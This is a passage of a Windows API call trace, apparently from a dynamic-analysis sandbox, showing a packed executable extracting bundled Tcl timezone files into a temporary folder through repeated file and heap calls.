(hostlong=0xbc000000) returned 0xbc [0043.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xbc) returned 0x55d4f0 [0043.276] htonl (hostlong=0x89000000) returned 0x89 [0043.276] htonl (hostlong=0xbc000000) returned 0xbc [0043.276] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.276] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.276] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.276] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.276] CloseHandle (hObject=0x10c) returned 1 [0043.277] GetLastError () returned 0x0 [0043.277] SetLastError (dwErrCode=0x0) [0043.277] GetLastError () returned 0x0 [0043.277] SetLastError (dwErrCode=0x0) [0043.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.277] GetFileType (hFile=0x10c) returned 0x1 [0043.277] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.277] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.277] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.277] CloseHandle (hObject=0x10c) returned 1 [0043.277] GetLastError () returned 0x0 [0043.277] SetLastError (dwErrCode=0x0) [0043.277] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.277] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.277] GetFileType (hFile=0x10c) returned 0x1 [0043.277] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.277] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.277] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.277] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.278] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.278] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.278] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.278] CloseHandle (hObject=0x10c) returned 1 [0043.278] GetLastError () returned 0x0 [0043.278] SetLastError (dwErrCode=0x0) [0043.278] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.278] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.278] GetFileType (hFile=0x10c) returned 0x1 [0043.278] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.278] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.278] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.278] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.278] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.278] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.278] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.278] CloseHandle (hObject=0x10c) returned 1 [0043.279] GetLastError () returned 0x0 [0043.279] SetLastError (dwErrCode=0x0) [0043.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa") returned 70 [0043.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\samoa"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.279] GetLastError () returned 0x2 [0043.279] SetLastError (dwErrCode=0x2) [0043.279] GetLastError () returned 0x2 [0043.279] SetLastError (dwErrCode=0x2) [0043.279] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa", lpFilePart=0x0) returned 0x45 [0043.279] GetLastError () returned 0x2 [0043.279] SetLastError (dwErrCode=0x2) [0043.279] GetLastError () returned 0x2 [0043.279] SetLastError (dwErrCode=0x2) [0043.279] GetLastError () returned 0x2 [0043.279] SetLastError (dwErrCode=0x2) [0043.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa") returned 70 [0043.279] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.279] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Samoa" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\samoa"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.279] GetFileType (hFile=0x10c) returned 0x1 [0043.279] htonl (hostlong=0xbc000000) returned 0xbc [0043.279] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.279] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0xbc, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0xbc, lpOverlapped=0x0) returned 1 [0043.280] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.280] CloseHandle (hObject=0x10c) returned 1 [0043.280] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d4f0 | out: hHeap=0x530000) returned 1 [0043.280] htonl (hostlong=0x30000000) returned 0x30 [0043.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.280] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.281] GetFileType (hFile=0x10c) returned 0x1 [0043.281] htonl (hostlong=0x16245d00) returned 0x5d2416 [0043.281] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d416, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.281] htonl (hostlong=0x8d000000) returned 0x8d [0043.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0043.281] htonl (hostlong=0x8d000000) returned 0x8d [0043.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.281] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.281] htonl (hostlong=0x95000000) returned 0x95 [0043.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x550600 [0043.281] htonl (hostlong=0x8d000000) returned 0x8d [0043.281] htonl (hostlong=0x95000000) returned 0x95 [0043.281] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.281] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.281] CloseHandle (hObject=0x10c) returned 1 [0043.281] GetLastError () returned 0x0 [0043.281] SetLastError (dwErrCode=0x0) [0043.281] GetLastError () returned 0x0 [0043.281] SetLastError (dwErrCode=0x0) [0043.281] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.281] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.281] GetFileType (hFile=0x10c) returned 0x1 [0043.282] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.282] CloseHandle (hObject=0x10c) returned 1 [0043.282] GetLastError () returned 0x0 [0043.282] SetLastError (dwErrCode=0x0) [0043.282] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.282] GetFileType (hFile=0x10c) returned 0x1 [0043.282] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.282] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.282] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.282] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.282] CloseHandle (hObject=0x10c) returned 1 [0043.283] GetLastError () returned 0x0 [0043.283] SetLastError (dwErrCode=0x0) [0043.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.283] GetFileType (hFile=0x10c) returned 0x1 [0043.283] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.283] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.283] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.283] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.283] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.283] CloseHandle (hObject=0x10c) returned 1 [0043.283] GetLastError () returned 0x0 [0043.283] SetLastError (dwErrCode=0x0) [0043.283] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti") returned 71 [0043.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tahiti"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.283] GetLastError () returned 0x2 [0043.283] SetLastError (dwErrCode=0x2) [0043.283] GetLastError () returned 0x2 [0043.283] SetLastError (dwErrCode=0x2) [0043.283] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti", lpFilePart=0x0) returned 0x46 [0043.283] GetLastError () returned 0x2 [0043.283] SetLastError (dwErrCode=0x2) [0043.283] GetLastError () returned 0x2 [0043.284] SetLastError (dwErrCode=0x2) [0043.284] GetLastError () returned 0x2 [0043.284] SetLastError (dwErrCode=0x2) [0043.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti") returned 71 [0043.284] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.284] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Tahiti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\tahiti"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.284] GetFileType (hFile=0x10c) returned 0x1 [0043.284] htonl (hostlong=0x95000000) returned 0x95 [0043.284] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.284] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd6c*=0x95, lpOverlapped=0x0) returned 1 [0043.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.285] CloseHandle (hObject=0x10c) returned 1 [0043.285] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.285] htonl (hostlong=0x30000000) returned 0x30 [0043.285] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.286] GetFileType (hFile=0x10c) returned 0x1 [0043.286] htonl (hostlong=0xa3245d00) returned 0x5d24a3 [0043.286] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61d4a3, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.286] htonl (hostlong=0x8b000000) returned 0x8b [0043.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0043.286] htonl (hostlong=0x8b000000) returned 0x8b [0043.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x561090 [0043.286] ReadFile (in: hFile=0x10c, lpBuffer=0x561090, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.286] htonl (hostlong=0x93000000) returned 0x93 [0043.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x93) returned 0x550600 [0043.286] htonl (hostlong=0x8b000000) returned 0x8b [0043.286] htonl (hostlong=0x93000000) returned 0x93 [0043.286] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562098 [0043.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562098 | out: hHeap=0x530000) returned 1 [0043.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.286] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.286] CloseHandle (hObject=0x10c) returned 1 [0043.286] GetLastError () returned 0x0 [0043.286] SetLastError (dwErrCode=0x0) [0043.286] GetLastError () returned 0x0 [0043.286] SetLastError (dwErrCode=0x0) [0043.286] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.286] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, 